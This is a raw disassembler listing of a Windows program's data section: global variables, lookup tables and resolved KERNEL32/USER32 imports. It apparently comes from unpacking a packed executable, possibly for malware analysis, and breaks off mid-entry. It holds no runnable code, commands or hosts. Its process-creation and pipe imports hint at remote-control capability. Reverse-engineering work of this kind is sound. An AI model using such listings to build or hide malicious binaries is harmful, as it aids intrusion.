sub_4083A1:loc_408451r dword_4D6740 dd 0 ; sub_4083A1+B8r dword_4D6744 dd 0 ; sub_4083A1:loc_408485r dword_4D6748 dd 0 ; sub_4083A1+ECr dword_4D674C dd 0 ; sub_4076E5+8EFw ... dword_4D6750 dd 0 ; sub_4083A1+120r dword_4D6754 dd 0 ; sub_4083A1:loc_4084EDr dword_4D6758 dd 0 ; sub_4083A1+154r dword_4D675C dd 0 ; sub_4076E5:loc_408155w ... dword_4D6760 dd 0 ; sub_4083A1+188r dword_4D6764 dd 0 ; sub_4083A1:loc_408555r dword_4D6768 dd 0 ; sub_4083A1+1BCr dword_4D676C dd 0 ; sub_4083A1:loc_408589r dword_4D6770 dd 0 ; sub_4083A1+1F0r dword_4D6774 dd 0 ; sub_4083A1:loc_4085BDr dword_4D6778 dd 0 ; sub_4083A1+224r dword_4D677C dd 0 ; sub_4083A1:loc_4085F1r dword_4D6780 dd 0 ; sub_4083A1+258r dword_4D6784 dd 0 ; sub_4083A1:loc_408625r dword_4D6788 dd 0 ; sub_4083A1+28Cr dword_4D678C dd 0 ; sub_4083A1:loc_408659r dword_4D6790 dd 0 ; sub_4083A1+2C0r dword_4D6794 dd 4 dup(0) dword_4D67A4 dd 0 byte_4D67A8 db 0 ; DATA XREF: .data:00408B4Co byte_4D67A9 db 0 ; DATA XREF: .data:00408B5Ao byte_4D67AA db 0 ; DATA XREF: .data:00408B81o byte_4D67AB db 0 ; DATA XREF: .data:00408BD9o byte_4D67AC db 0 ; DATA XREF: .data:00408BF0o byte_4D67AD db 0 ; DATA XREF: .data:00408CFCo byte_4D67AE db 0 ; DATA XREF: .data:00408D54o byte_4D67AF db 0 ; DATA XREF: .data:00408D6Bo byte_4D67B0 db 0 ; DATA XREF: .data:004091C1o byte_4D67B1 db 0 ; DATA XREF: sub_4092B9+33o word_4D67B2 dw 0 ; DATA XREF: sub_4092B9+63o byte_4D67B4 db 0 ; DATA XREF: sub_409562+64r ; sub_409562+92w align 4 dword_4D67B8 dd 0 ; sub_40A547+92w ... dword_4D67BC dd 0 ; sub_40AA63+D9w ... dd 7FEh dup(0) dword_4D87B8 dd 6 dup(0) ; sub_40A84F+129o ... dword_4D87D0 dd 0 ; sub_40A01B+34Do dword_4D87D4 dd 0 ; sub_40A01B+35Fr dword_4D87D8 dd 0 dword_4D87DC dd 0 ; sub_40A01B+320r dword_4D87E0 dd 20h dup(0) ; sub_40A01B+307o dword_4D8860 dd 0 dword_4D8864 dd 0 ; sub_40A01B+311w dword_4D8868 dd 0 align 10h dword_4D8870 dd 0 ; sub_40A01B+FEo dword_4D8874 dd 41h dup(0) dword_4D8978 dd 41h dup(0) dword_4D8A7C dd 0 ; sub_40A01B+110r dword_4D8A80 dd 0 dword_4D8A84 dd 0 ; sub_40A01B+D1r dword_4D8A88 dd 20h dup(0) ; sub_40A01B+B7o dword_4D8B08 dd 0 dword_4D8B0C dd 0 ; sub_40A01B+C1w dword_4D8B10 dd 0 align 8 dword_4D8B18 dd 0 ; sub_40A01B+226o dword_4D8B1C dd 41h dup(0) dword_4D8C20 dd 41h dup(0) dword_4D8D24 dd 0 ; sub_40A01B+238r dword_4D8D28 dd 0 dword_4D8D2C dd 0 ; sub_40A01B+1F9r dword_4D8D30 dd 20h dup(0) ; sub_40A01B+1DFo dword_4D8DB0 dd 0 dword_4D8DB4 dd 0 ; sub_40A01B+1E9w dword_4D8DB8 dd 0 align 10h dword_4D8DC0 dd 0 ; sub_40A01B+467o dword_4D8DC4 dd 0A2h dup(0) dword_4D904C dd 41h dup(0) dword_4D9150 dd 0 ; sub_40A01B+41Ar align 8 dword_4D9158 dd 0 ; sub_40A01B+479r dword_4D915C dd 0 dword_4D9160 dd 0 dword_4D9164 dd 0 dd 0 dword_4D916C dd 0 dword_4D9170 dd 0 ; sub_409C6D+31r ... dword_4D9174 dd 0 ; sub_409C6D+25r ... dword_4D9178 dd 80h dup(0) dword_4D9378 dd 2 dup(0) byte_4D9380 db 2 dup(0) ; DATA XREF: sub_40B0E9+13o word_4D9382 dw 0 ; DATA XREF: sub_40B92D+10o byte_4D9384 db 0 ; DATA XREF: .data:0040C421r byte_4D9385 db 3 dup(0) ; DATA XREF: .data:0040C446o ; .data:0040C9DEo dword_4D9388 dd 0 ; sub_40CC69+BCo ... dword_4D938C dd 0 ; sub_40CC69+DAr ... dword_4D9390 dd 0 ; sub_40CC69+CFr ... dword_4D9394 dd 0 ; sub_40CC69+95o ... dword_4D9398 dd 0 ; sub_40CC1E+3Dr ... dword_4D939C dd 9183h ; sub_40CE3E+10w ... dword_4D93A0 dd 0 ; sub_40CE55+27Cw dword_4D93A4 dd 0 ; sub_40D70F+51r ... dword_4D93A8 dd 0 byte_4D93AC db 0 ; DATA XREF: sub_40F3B8+1EFr align 10h dword_4D93B0 dd 1000h dup(0) ; .data:0040FA11o ... dword_4DD3B0 dd 0 ; .data:0040FA58o ... dd 6 dup(0) dword_4DD3CC dd 0 dword_4DD3D0 dd 0 dword_4DD3D4 dd 0Dh dup(0) dword_4DD408 dd 80h dup(0) dword_4DD608 dd 2 dup(0) dword_4DD610 dd 18h dup(0) ; sub_4123A9+131o ... dword_4DD670 dd 80h dup(0) ; sub_41313B+A5o dword_4DD870 dd 0 ; sub_412726+4Dr ... align 8 dword_4DD878 dd 18h dup(0) ; sub_413007+12Do dword_4DD8D8 dd 80h dup(0) ; sub_412667+7Do ... byte_4DDAD8 db 0 ; DATA XREF: sub_412726+29r ; sub_412726+34w align 10h dword_4DDAE0 dd 80h dup(0) ; sub_41297D+88o ... dword_4DDCE0 dd 80h dup(0) ; sub_412280+50o ... byte_4DDEE0 db 2 dup(0) ; DATA XREF: .data:00413306o word_4DDEE2 dw 0 ; DATA XREF: .data:0041331Bo byte_4DDEE4 db 2 dup(0) ; DATA XREF: .data:00413322o word_4DDEE6 dw 0 ; DATA XREF: .data:0041333Eo byte_4DDEE8 db 2 dup(0) ; DATA XREF: .data:00413353o word_4DDEEA dw 0 ; DATA XREF: .data:0041335Ao dword_4DDEEC dd 0 ; sub_413C57+54r ... dword_4DDEF0 dd 0 ; sub_413C57+37r ... dword_4DDEF4 dd 0 ; sub_413DAC+83o dword_4DDEF8 dd 0 ; sub_413DAC+11Bw dword_4DDEFC dd 0Dh dup(0) ; sub_413DAC:loc_413EEDo dword_4DDF30 dd 0 ; sub_413C57+ECr ... byte_4DDF34 db 0 ; DATA XREF: sub_413BD0+9o byte_4DDF35 db 0 ; DATA XREF: sub_413DAC+DFo word_4DDF36 dw 0 ; DATA XREF: sub_413DAC:loc_413EE8o dword_4DDF38 dd 0Ch dup(0) db 2 dup(0) word_4DDF6A dw 0 ; DATA XREF: sub_4147AC+13o dword_4DDF6C dd 931E90h ; sub_415640:loc_415A7Br ... dword_4DDF70 dd 27F2h ; sub_4151D0+21Cw ... dword_4DDF74 dd 9324A8h ; sub_4151D0+252r ... dword_4DDF78 dd 1B5Fh ; sub_4151D0+22Aw ... dword_4DDF7C dd 1F72h ; sub_4151D0+243w ... dword_4DDF80 dd 0 dword_4DDF84 dd 0A28h ; sub_416900:loc_4169DDr ... dword_4DDF88 dd 501h dword_4DDF8C dd 5 ; sub_41AB00+55r dword_4DDF90 dd 1 ; sub_41AB00+5Er dword_4DDF94 dd 1 ; sub_427D30+C6w dword_4DDF98 dd 933120h ; sub_401404+30Cr ... align 10h dword_4DDFA0 dd 933168h ; sub_427BE0+81r ... dword_4DDFA4 dd 0 dword_4DDFA8 dd 0 ; sub_432830+6r ... align 10h off_4DDFB0 dd offset aCM_unpackerPac ; DATA XREF: sub_427D30+26w ; sub_427D30+3Cr ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DDFB8 db 0 ; DATA XREF: sub_417B70+30w ; sub_41AE00+8r align 4 dword_4DDFBC dd 0 dword_4DDFC0 dd 0 ; sub_417B70:loc_417C3Bw dword_4DDFC4 dd 0 ; sub_417B70+AFw dword_4DDFC8 dd 0 ; .data:0041990Fw dword_4DDFCC dd 0 dword_4DDFD0 dd 0 ; sub_427BE0+1Br ... align 8 dword_4DDFD8 dd 0 ; sub_41ACA0+3r ... dword_4DDFDC dd 0 ; sub_4201D0+2CEw ... dword_4DDFE0 dd 0 ; resolved to->USER32.wsprintfA ; sub_41B010+C8w ... dword_4DDFE4 dd 0 ; sub_4150C0+10r ... dword_4DDFE8 dd 0 ; .data:0041BB49w ... align 10h dword_4DDFF0 dd 144820h, 0FFFFFFFFh, 4 dup(0)dword_4DE008 dd 1447A8h, 0FFFFFFFFh, 4 dup(0)dword_4DE020 dd 1447F8h, 0FFFFFFFFh, 4 dup(0)dword_4DE038 dd 1447D0h, 0FFFFFFFFh, 4 dup(0)dword_4DE050 dd 0 ; sub_41E9B0+93w ... dword_4DE054 dd 1 ; sub_421E40+3w ... dword_4DE058 dd 0 ; sub_4226D0+C9w ... align 10h dword_4DE060 dd 0 ; sub_4271E0+140o word_4DE064 dw 0 ; DATA XREF: sub_4271E0+E8r align 4 dword_4DE068 dd 0 ; sub_4271E0+159o dword_4DE06C dd 0 ; sub_426F40+DDw ... dd 0 dword_4DE074 dd 0 ; sub_41A730+6r ... dword_4DE078 dd 0 dword_4DE07C dd 0 dword_4DE080 dd 0 dword_4DE084 dd 0 ; sub_41A910+16Cr ... dword_4DE088 dd 0 dword_4DE08C dd 1 ; sub_4275A0+4Bw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_427D30+19o ; sub_427D30+26o ... align 4 dd 3Ah dup(0) dword_4DE194 dd 1 ; sub_428240+2Cw ... dword_4DE198 dd 0 ; sub_428830+34r dword_4DE19C dd 0 ; .data:00428F22w ... dword_4DE1A0 dd 0 ; .data:00428F35w ... dword_4DE1A4 dd 0 ; .data:00428F49w ... dword_4DE1A8 dd 0 ; .data:00428F5Cw ... dword_4DE1AC dd 0 ; .data:00428EC5w dword_4DE1B0 dd 0 ; resolved to->USER32.MessageBoxA ; sub_4293F0+39w ... dword_4DE1B4 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_4293F0:loc_429463r ... dword_4DE1B8 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_4293F0+8Br ... dword_4DE1BC dd 1 ; sub_429B60+46w ... dword_4DE1C0 dd 0 dword_4DE1C4 dd 77C2807Ch ; sub_42A4F0+37r ... dword_4DE1C8 dd 0 ; sub_42BD70+86r ... dword_4DE1CC dd 0 ; sub_42C6F0+93r ... dword_4DE1D0 dd 0 ; sub_42C6F0+A3r ... dword_4DE1D4 dd 0 ; sub_42C6F0+7Cr ... dword_4DE1D8 dd 0 ; .data:0042CAD1r ... dword_4DE1DC dd 0 ; .data:0042D135r ... dword_4DE1E0 dd 0 ; .data:0042D157r ... dword_4DE1E4 dd 3 dup(0) ; sub_426F40+F3o word_4DE1F0 dw 0 ; DATA XREF: .data:0042CEB6r align 8 word_4DE1F8 dw 0 ; DATA XREF: sub_42CB50+Fr align 4 db 2 dup(0) word_4DE1FE dw 0 ; DATA XREF: sub_42C6F0+Fr db 2 dup(0) word_4DE202 dw 0 ; DATA XREF: sub_42BE50+Fr word_4DE204 dw 0 ; DATA XREF: sub_42BE50+1Ar align 4 dword_4DE208 dd 0 ; sub_42D2B0+176r ... dword_4DE20C dd 0 ; sub_42D600+1Br ... dword_4DE210 dd 0 ; sub_42D600+101r ... dword_4DE214 dd 0 ; sub_42D540+47r ... dword_4DE218 dd 0 ; sub_42D2B0+4Br ... dword_4DE21C dd 0 ; sub_42D2B0+80r ... dword_4DE220 dd 0 ; sub_42D2B0:loc_42D3BEr ... dword_4DE224 dd 0 ; sub_42D2B0+1CBr ... dword_4DE228 dd 0 ; sub_42D2B0+2Cw ... dword_4DE22C dd 0 byte_4DE230 db 0 ; DATA XREF: sub_430D00+18Fo ; sub_430D00+1F2r ... align 8 dword_4DE238 dd 0 ; .data:off_44836Co ... dword_4DE23C dd 0 ; sub_430FA0+46w ... dword_4DE240 dd 0 ; sub_431AB0+6Dw ... align 8 dword_4DE248 dd 0 ; sub_431AB0+77r dword_4DE24C dd 10h dup(0) word_4DE28C dw 0 ; DATA XREF: sub_431E90+FCr word_4DE28E dw 0 ; DATA XREF: sub_431AB0+88r ; sub_431E90+145r ... word_4DE290 dw 0 ; DATA XREF: sub_431E90+132r word_4DE292 dw 0 ; DATA XREF: sub_431E90+13Br ; sub_431E90+18Br word_4DE294 dw 0 ; DATA XREF: sub_431E90+126r ; sub_431E90+181r word_4DE296 dw 0 ; DATA XREF: sub_431E90+11Cr ; sub_431E90+177r word_4DE298 dw 0 ; DATA XREF: sub_431E90+113r ; sub_431E90+16Er word_4DE29A dw 0 ; DATA XREF: sub_431E90+109r ; sub_431E90+164r dword_4DE29C dd 0 ; sub_431AB0+CEr dword_4DE2A0 dd 10h dup(0) word_4DE2E0 dw 0 ; DATA XREF: sub_431E90+43r word_4DE2E2 dw 0 ; DATA XREF: sub_431AB0+ABr ; sub_431E90+8Cr ... word_4DE2E4 dw 0 ; DATA XREF: sub_431E90+79r word_4DE2E6 dw 0 ; DATA XREF: sub_431E90+82r ; sub_431E90+D2r word_4DE2E8 dw 0 ; DATA XREF: sub_431E90+6Dr ; sub_431E90+C8r word_4DE2EA dw 0 ; DATA XREF: sub_431E90+63r ; sub_431E90+BEr word_4DE2EC dw 0 ; DATA XREF: sub_431E90+5Ar ; sub_431E90+B5r word_4DE2EE dw 0 ; DATA XREF: sub_431E90+50r ; sub_431E90+ABr dword_4DE2F0 dd 0 ; sub_431AB0+C9r dword_4DE2F4 dd 0 ; sub_431AB0+196r ... dword_4DE2F8 dd 0 ; sub_431A50+16r ... dword_4DE2FC dd 0 ; sub_432390+41w ... dword_4DE300 dd 0 ; sub_432530+41w ... dword_4DE304 dd 0 ; sub_4328E0+4Bw ... byte_4DE308 db 1 ; DATA XREF: sub_40C15Ar sub_40C15A+9w align 4 dword_4DE30C dd 0 ; sub_42FE80+A5w ... dword_4DE310 dd 0 ; sub_430010+1EDw ... align 10h dword_4DE320 dd 931F58h ; sub_41ACD0+109r ... dd 3Fh dup(0) dword_4DE420 dd 20h ; sub_41FCF0+7r ... dword_4DE424 dd 0 ; sub_41A890+11r ... dword_4DE428 dd 0 ; sub_41A690+3Bo ... dword_4DE42C dd 4E4h ; sub_421AF0+14Aw ... word_4DE430 dw 0 ; DATA XREF: sub_421AF0+19Aw ; sub_421AF0+2F3w ... align 4 dd 2 dup(0) dword_4DE43C dd 0 ; sub_421AF0+2C2w ... byte_4DE440 db 0 ; DATA XREF: sub_421FA0+1CEw ; sub_421FA0+21Aw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DE540 db 0 ; DATA XREF: sub_421AF0+ABw ; sub_421AF0+1F4w ... byte_4DE541 db 0 ; DATA XREF: sub_417F80+92r ; sub_421AF0+129r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DE644 dd 0 ; sub_421AF0+205w ... dword_4DE648 dd 930000h ; sub_416900+FBr ... dword_4DE64C dd 1 ; sub_416900:loc_41699Er ... dword_4DE650 dd 0 ; sub_41D6D0+9r ... dword_4DE654 dd 0 ; sub_41CBB0+4B3r ... dword_4DE658 dd 0 ; sub_41CBB0+5C1w ... align 10h dword_4DE660 dd 0 ; sub_41CBB0+477r ... dword_4DE664 dd 0 ; sub_41CAF0+6r ... dword_4DE668 dd 0 ; sub_41CA80+1Br ... dword_4DE66C dd 0 ; sub_41C020+6Dr ... dword_4DE670 dd 0 ; .data:0041AFFFw ... dword_4DE674 dd 9324C8h ; sub_41ACD0+4Dr ... align 10h dword_4DE680 dd 400h dup(0) ; .data:00444EE0o dword_4DF680 dd 200h ; sub_41ACD0+Dw ... dword_4DF684 dd 142340h ; sub_427B20:loc_427B32r ... dword_4DF688 dd 1 ; sub_432710+Er dword_4DF68C dd 1 ; sub_4222D0+16w ... dword_4DF690 dd 93241Ch ; sub_419EA0+19r ... dword_4DF694 dd 932410h ; sub_417B70+5Ar ... dword_4DF698 dd 0 ; .data:00416B6Fw ... byte_4DF69C db 1 ; DATA XREF: sub_4336F0+5r ; sub_4336F0+11r ... align 10h dd 258h dup(0) dd 0E0270h, 2 dup(0) dd 0E0540h, 0E04D8h, 0E0288h, 2 dup(0) dd 0E054Ch, 0E04F0h, 0E0278h, 2 dup(0) dd 0E059Ah, 0E04E0h, 0E0064h, 2 dup(0) dd 0E0ECEh, 0E02CCh, 5 dup(0) dd 0E0968h, 0E0EB4h, 0E0EA2h, 0E0E90h, 0E0E7Eh, 0E0E64h dd 0E0E54h, 0E0E3Eh, 0E0E28h, 0E0E16h, 0E0E06h, 0E0DF6h dd 0E0DD8h, 0E0DC6h, 0E0DB4h, 0E0DA0h, 0E0D90h, 0E0D78h dd 0E0D6Ah, 0E0D58h, 0E0D3Eh, 0E0D26h, 0E0D0Ch, 0E05A6h dd 0E05B4h, 0E05C2h, 0E05D4h, 0E05EAh, 0E0600h, 0E0608h dd 0E0618h, 0E0626h, 0E0634h, 0E064Ah, 0E065Ah, 0E0666h dd 0E067Ch, 0E0692h, 0E06A6h, 0E06BCh, 0E06CCh, 0E06DCh dd 0E06ECh, 0E06F8h, 0E070Ah, 0E071Ah, 0E072Ch, 0E0738h dd 0E0744h, 0E0750h, 0E075Ch, 0E0770h, 0E0782h, 0E0792h dd 0E07A0h, 0E07B8h, 0E07D0h, 0E07F8h, 0E0810h, 0E081Ch dd 0E0828h, 0E083Ch, 0E084Eh, 0E0862h, 0E0870h, 0E0882h dd 0E0894h, 0E08A2h, 0E08B0h, 0E08BCh, 0E08D4h, 0E08EEh dd 0E08FEh, 0E0910h, 0E0922h, 0E093Ch, 0E0958h, 0E097Ah dd 0E098Ah, 0E0998h, 0E09AAh, 0E09BAh, 0E09D0h, 0E09DEh dd 0E09ECh, 0E0A08h, 0E0A16h, 0E0A2Ch, 0E0A42h, 0E0A4Eh dd 0E0A64h, 0E0A74h, 0E0A88h, 0E0A9Eh, 0E0AAEh, 0E0ABEh dd 0E0ACEh, 0E0ADAh, 0E0AF2h, 0E0B0Ah, 0E0B1Ch, 0E0B2Eh dd 0E0B3Ch, 0E0B4Ah, 0E0B5Ah, 0E0B70h, 0E0B8Ch, 0E0B9Ch dd 0E0BA8h, 0E0BB6h, 0E0BC2h, 0E0BD0h, 0E0BE0h, 0E0BFAh dd 0E0C08h, 0E0C16h, 0E0C2Ch, 0E0C3Ah, 0E0C46h, 0E0C50h dd 0E0C60h, 0E0C6Eh, 0E0C82h, 0E0C8Eh, 0E0C98h, 0E0CA4h dd 0E0CB6h, 0E0CC6h, 0E0CD6h, 0E0CF2h, 0 dd 0E0534h, 0 dd 0E0558h, 0E056Ah, 0E0580h, 0 dd 80000009h, 80000004h, 80000074h, 80000073h, 80000015h dd 8000000Bh, 80000002h, 8000000Dh, 80000001h, 80000010h dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h dd 8000000Ah, 0 dword_4E02CC dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageA ; .data:004338FCr dword_4E02D0 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableA ; .data:00433ABEr dword_4E02D4 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_4328E0+3DAr ... dword_4E02D8 dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_4328E0+D9r ... dword_4E02DC dd 7C811562h ; resolved to->KERNEL32.GetLocaleInfoW ; sub_432390+8Br ... dword_4E02E0 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; .data:00433AA6r dword_4E02E4 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFile ; .data:00433AA0r dword_4E02E8 dd 7C809F10h ; resolved to->KERNEL32.GetUserDefaultLCID ; .data:00433A9Ar dword_4E02EC dd 7C837CE1h ; resolved to->KERNEL32.EnumSystemLocalesA ; sub_42D930+53r ... dword_4E02F0 dd 7C8110CBh ; resolved to->KERNEL32.IsValidCodePage ; .data:00433A8Er dword_4E02F4 dd 7C81C48Bh ; resolved to->KERNEL32.IsValidLocale ; .data:00433A88r dword_4E02F8 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtr ; .data:00433A82r dword_4E02FC dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_42A570+9r ... dword_4E0300 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_429B60+19Er ... dword_4E0304 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_429B60+AAr ... dword_4E0308 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffers ; .data:00433A6Ar dword_4E030C dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_4296A0+66r ... dword_4E0310 dd 7C81B58Bh ; resolved to->KERNEL32.SetConsoleCtrlHandler ; .data:00433A5Er dword_4E0314 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_428460+29Br ... dword_4E0318 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCount ; .data:00433A52r dword_4E031C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW ; sub_428240+6Dr ... dword_4E0320 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_428240+171r ... dword_4E0324 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW ; sub_428240+150r ... dword_4E0328 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_401404+7Ar ... dword_4E032C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401404+2C9r ... dword_4E0330 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_401404+2B1r ... dword_4E0334 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401404+DAr ... dword_4E0338 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_401404+C4r ... dword_4E033C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401404+1DEr ... dword_4E0340 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401C87+791r ... dword_4E0344 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401C87+3772r ... dword_4E0348 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_4137F3+B9r ... dword_4E034C dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessId ; .data:004337EEr dword_4E0350 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_401404+3D1r ... dword_4E0354 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; .data:00413274r ... dword_4E0358 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_401404+20Fr ... dword_4E035C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_40DDDE+10Fr ... dword_4E0360 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_4076E5+2r ... dword_4E0364 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_401404+2FFr ... dword_4E0368 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexA ; .data:00433818r dword_4E036C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401C87+2023r ... dword_4E0370 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_411DDE+35r ... dword_4E0374 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileA ; .data:0043382Ar dword_4E0378 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_40979E+27r ... dword_4E037C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4076E5:loc_407BF3r ... dword_4E0380 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; .data:004089C2r ... dword_4E0384 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; .data:00433842r dword_4E0388 dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; .data:00433848r dword_4E038C dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; .data:0043384Er dword_4E0390 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; .data:00433854r dword_4E0394 dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; sub_41313B+34r ... dword_4E0398 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_42D2B0+18r ... dword_4E039C dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_411F66+32r ... dword_4E03A0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_409DF2+1ACr ... dword_4E03A4 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_41AE90+35r ... dword_4E03A8 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_41AE20+35r ... dword_4E03AC dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount ; .data:0043387Er dword_4E03B0 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40AA63+241r ... dword_4E03B4 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_40F29F+D6r ... dword_4E03B8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40E70E+80r ... dword_4E03BC dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_40EE3D+1B6r ... dword_4E03C0 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandle ; sub_40F128+77r ... dword_4E03C4 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40CC69+10Ar ... dword_4E03C8 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_40F02F+23r ... dword_4E03CC dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_4147AC+1B6r ... dword_4E03D0 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_4147AC+19Fr ... dword_4E03D4 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_40E70E+38r ... dword_4E03D8 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40E70E+25r ... dword_4E03DC dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_411609+BAr ... dword_4E03E0 dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTime ; .data:004338CCr dword_4E03E4 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTime ; .data:004338D2r dword_4E03E8 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_40E08D+5DCr ... dword_4E03EC dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_411609+26r ... dword_4E03F0 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_410673+259r ... dword_4E03F4 dd 7C80A05Dh ; resolved to->KERNEL32.WaitForMultipleObjects ; .data:004338EAr dword_4E03F8 dd 7C873A31h ; resolved to->KERNEL32.GenerateConsoleCtrlEvent ; .data:004338F0r dword_4E03FC dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; .data:004338F6r dword_4E0400 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlock ; .data:00433902r dword_4E0404 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock ; .data:00433908r dword_4E0408 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFile ; .data:0043390Er dword_4E040C dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFile ; .data:00433914r dword_4E0410 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingA ; .data:0043391Ar dword_4E0414 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTime ; .data:00413714r ... dword_4E0418 dd 7C831C45h ; resolved to->KERNEL32.GetFileTime ; .data:004133F4r ... dword_4E041C dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsA ; .data:0043392Cr dword_4E0420 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; .data:00433932r dword_4E0424 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_4275A0+2A5r ... dword_4E0428 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_413282+1Er ... dword_4E042C dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA ; .data:00433944r dword_4E0430 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcess ; .data:0043394Ar dword_4E0434 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipe ; .data:00433950r dword_4E0438 dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrives ; .data:00433956r dword_4E043C dd 7C8310F2h ; resolved 